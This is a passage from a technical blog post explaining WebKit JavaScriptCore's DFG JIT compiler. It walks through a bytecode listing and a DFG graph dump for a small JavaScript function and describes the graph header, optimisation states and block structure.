</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">arr</span> <span style="color:#f92672">=</span> [];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">obj</span> <span style="color:#f92672">=</span> {<span style="color:#a6e22e">sum</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The goal of the program above is to DFG compile the <code>jitMe</code> function and this is achieved by invoking it a <code>1000</code> times in a for loop to trigger DFG compilation. The bytecodes generated for the function <code>jitMe</code> are listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">EGS36l</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">BaselineFunctionCall</span>, <span style="color:#ae81ff">99</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">20</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">13</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">219</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">2</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">12</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">80</span>] <span style="color:#a6e22e">get_by_id</span>          <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">85</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">126</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">91</span>] <span style="color:#a6e22e">put_by_id</span>          <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">loc8</span>, 
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">97</span>] <span style="color:#a6e22e">ret</span>                <span style="color:#a6e22e">Undefined</span>(<span style="color:#a6e22e">const0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Identifiers</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">arr</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">obj</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">sum</span>
</span></span></code></pre></div><p>Let&rsquo;s attempt to print the unoptimised DFG generated from parsing these bytecodes. DFG printing is done by the function <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGGraph.cpp#L545"><code>Graph::dump</code></a>, one can set a breakpoint at this function to observe the graph output generation. The graph generated for this function is as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Graph after parsing:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span> DFG <span style="color:#66d9ef">for</span> jitMe<span style="color:#960050;background-color:#1e0010">#</span>EGS36l:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">99</span>]<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>   Fixpoint state: BeforeFixpoint; Form: LoadStore; Unification state: LocallyUnified; Ref count state: EverythingIsLive
</span></span><span style="display:flex;"><span>         :   Arguments <span style="color:#66d9ef">for</span> block<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:</span> D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span>, D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span> Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>)<span style="color:#f92672">:</span> (OSR target)
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Predecessors:
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Successors:
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   States: StructuresAreWatched, CurrentlyCFAUnreachable
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Vars Before: <span style="color:#f92672">&lt;</span>empty<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Intersected Vars Before: arg1:(FullTop, TOP, TOP, none:StructuresAreClobbered) arg0:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc0:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc1:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc2:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc3:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc4:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc5:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc6:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc7:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc8:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc9:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc10:(FullTop, TOP, TOP, none:StructuresAreClobbered) loc11:(FullTop, TOP, TOP, none:StructuresAreClobbered)
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Var Links: 
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">0</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetArgumentDefinitely(<span style="color:#66d9ef">this</span>(a), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">1</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetArgumentDefinitely(arg1(B<span style="color:#f92672">~/</span>FlushedJSValue), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">2</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        CountExecution(MustGen, <span style="color:#ae81ff">0x7fffeed99310</span>, R:InternalState, W:InternalState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">3</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        JSConstant(JS<span style="color:#f92672">|</span>PureInt, Undefined, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">4</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">4</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span>, MustGen, loc0, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">5</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">5</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span>, loc0(C<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc0), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitInvalid)  predicting None
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">6</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">6</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span>, MustGen, loc1, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitInvalid)
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">7</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">7</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span>, loc1(D<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc1), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitInvalid)  predicting None
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">8</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">8</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span>, MustGen, loc2, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitInvalid)
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">9</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">9</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span>, loc2(E<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc2), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitInvalid)  predicting None
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">92</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">92</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        FilterPutByIdStatus(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">77</span>, MustGen, (<span style="color:#f92672">&lt;</span>Replace: [<span style="color:#ae81ff">0x7fffae3c8230</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0xb538</span>, Object, {sum:<span style="color:#ae81ff">0</span>}, NonArray, Proto:<span style="color:#ae81ff">0x7fffeedf2ee8</span>, Leaf]], offset <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, <span style="color:#f92672">&gt;</span>), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">91</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">93</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">93</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        PutByOffset(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">77</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">77</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">88</span>, MustGen, id2{sum}, <span style="color:#ae81ff">0</span>, W:NamedProperties(<span style="color:#ae81ff">2</span>), ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">91</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">94</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">94</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        CountExecution(MustGen, <span style="color:#ae81ff">0x7fffeed99480</span>, R:InternalState, W:InternalState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">97</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">95</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">95</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        JSConstant(JS<span style="color:#f92672">|</span>PureInt, Undefined, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">97</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">96</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">96</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Return(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">95</span>, MustGen, W:SideState, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">97</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">97</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">97</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Flush(MustGen, arg1(B<span style="color:#f92672">~/</span>FlushedJSValue), R:Stack(arg1), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">97</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">98</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">98</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Flush(MustGen, <span style="color:#66d9ef">this</span>(a), R:Stack(<span style="color:#66d9ef">this</span>), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">97</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   States: InvalidBranchDirection, StructuresAreWatched
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Vars After: <span style="color:#f92672">&lt;</span>empty<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Var Links: arg1:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">97</span> arg0:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">98</span> loc0:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">5</span> loc1:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">7</span> loc2:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">9</span> loc3:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">11</span> loc4:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">20</span> loc5:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">23</span> loc6:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">74</span> loc7:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">79</span> loc8:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">90</span> loc9:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">63</span> loc10:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">51</span> loc11:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">56</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span> GC Values:
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     Weak:Object: <span style="color:#ae81ff">0x7fffae3c0000</span> with butterfly (nil) (Structure <span style="color:#f92672">%</span>Cv:Object), StructureID: <span style="color:#ae81ff">46392</span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     Weak:Object: <span style="color:#ae81ff">0x7fffeeda5868</span> with butterfly <span style="color:#ae81ff">0x7ff8652e84d8</span> (Structure <span style="color:#f92672">%</span>CM:Array,ArrayWithContiguous), StructureID: <span style="color:#ae81ff">1743</span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     Weak:Object: <span style="color:#ae81ff">0x7fffeedbb068</span> with butterfly (nil) (Structure <span style="color:#f92672">%</span>DU:JSGlobalLexicalEnvironment), StructureID: <span style="color:#ae81ff">20457</span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     Weak:Object: <span style="color:#ae81ff">0x7fffae3f59e0</span> with butterfly (nil) (Structure <span style="color:#f92672">%</span>BK:Function), StructureID: <span style="color:#ae81ff">13677</span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span> Desired watchpoints:
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     Watchpoint sets: <span style="color:#ae81ff">0x7fffeeda7940</span>, <span style="color:#ae81ff">0x7fffeeda7920</span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     Inline watchpoint sets: <span style="color:#ae81ff">0x7fffae3f9478</span>, <span style="color:#ae81ff">0x7fffae3c8288</span>, <span style="color:#ae81ff">0x7fffeedca280</span>, <span style="color:#ae81ff">0x7fffae3f8448</span>, <span style="color:#ae81ff">0x7fffae3f91d8</span>, <span style="color:#ae81ff">0x7fffeedca0c0</span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     SymbolTables: 
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     FunctionExecutables: <span style="color:#ae81ff">0x7fffae3e5100</span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     Buffer views: 
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     Object property conditions: <span style="color:#f92672">&lt;</span>Object: <span style="color:#ae81ff">0x7fffae3c0000</span> with butterfly (nil) (Structure <span style="color:#f92672">%</span>Cv:Object), StructureID: <span style="color:#ae81ff">46392</span><span style="color:#f92672">:</span> Presence of sum at <span style="color:#ae81ff">0</span> with attributes <span style="color:#ae81ff">0</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span> Structures:
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     <span style="color:#f92672">%</span>BK:Function                   <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffae3f9420</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x356d</span>, Function, {}, NonArray, Proto:<span style="color:#ae81ff">0x7fffeedfc248</span>, Leaf]
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     <span style="color:#f92672">%</span>CM:Array,ArrayWithContiguous  <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffae3f9ce0</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x6cf</span>, Array, {}, ArrayWithContiguous, Proto:<span style="color:#ae81ff">0x7fffeedb62e8</span>]
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     <span style="color:#f92672">%</span>Cv:Object                     <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffae3c8230</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0xb538</span>, Object, {sum:<span style="color:#ae81ff">0</span>}, NonArray, Proto:<span style="color:#ae81ff">0x7fffeedf2ee8</span>, Leaf]
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>     <span style="color:#f92672">%</span>DU:JSGlobalLexicalEnvironment <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffae3f9180</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x4fe9</span>, JSGlobalLexicalEnvironment, {}, NonArray, Leaf]
</span></span></code></pre></div><p>The graph dump lists the various blocks that represent the bytecodes being optimised. Each DFG block represents a basic block in the bytecode dump. A DFG block consists of a <em>Head</em>, the block <em>Body</em> and a block <em>Tail</em>. The end of the graph dump lists information on the various JSC objects, watchpoints and structures that are referenced by the graph and their locations in memory. Let&rsquo;s now dissect the various sections of this graph and explore them in greater detail.</p>
<h2 id="graph-header">Graph Header</h2>
<p>The start of the output prints the header information for the graph:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#f92672">:</span> DFG <span style="color:#66d9ef">for</span> jitMe<span style="color:#960050;background-color:#1e0010">#</span>EGS36l:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">99</span>]<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Fixpoint state: BeforeFixpoint; Form: LoadStore; Unification state: LocallyUnified; Ref count state: EverythingIsLive
</span></span><span style="display:flex;"><span>:   Arguments <span style="color:#66d9ef">for</span> block<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:</span> D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span>, D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>The first line prints details about the CodeBlock being parsed, the <code>codeType</code> which is <code>DFGFunctionCall</code> and the number of instructions in the CodeBlock. The second line prints the <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGCommon.h#L156"><code>OptimizationFixpointState</code></a> which can be thought of as a flag that tracks state changes during the various optimisation phases. the WebKit blog<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> describes <em>fixpoint</em> as follows:</p>
<blockquote>
<p>fixpoint: we keep executing every instruction until we no longer observe any changes.</p>
</blockquote>
<p>The DFG <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGCommon.h#L159"><code>GraphForm</code></a> which can be one of three values <code>LoadStore</code>, <code>ThreadedCPS</code> and <code>SSA</code>, these are described in greater detail in the developer comments. The <code>GraphForm</code> gets modified depending on the various stages of optimisation that have occurred. For example, DFG optimisations are applied on graphs that are in <code>ThreadedCPS</code> form whereas majority of FTL optimisations require that the graph be in <code>SSA</code> form.</p>
<p>The <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGCommon.h#L208"><code>UnificationState</code></a> and <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGCommon.h#L217"><code>RefCountState</code></a> present additional statistics about the graph at various optimisation phases. The last line in the header lists the argument nodes that have been generated for the block <code>#0</code> which is the entry block into the graph. These argument nodes are <code>D@0</code> and <code>D@1</code> which represent the JavaScript values <code>this</code> and <code>num</code>.</p>
<h2 id="block-head">Block Head</h2>
<p>What follows the graph header is a dump of each <a href="https://github.com/WebKit/WebKit/blob/deed9116770afbec471c212007298e3491418610/Source/JavaScriptCore/dfg/DFGBasicBlock.h#L49"><code>BasicBlock</code></a> in the graph. The block dump is comprised of a head, a block body and a tail. Let&rsquo;s examine the only block in this dump which is <code>Block #0</code>. In the snippet below the interesting details are the <code>Var</code> listings, this is essentially a dump of all the arguments, locals and temporary variables used by the basic block.</p>
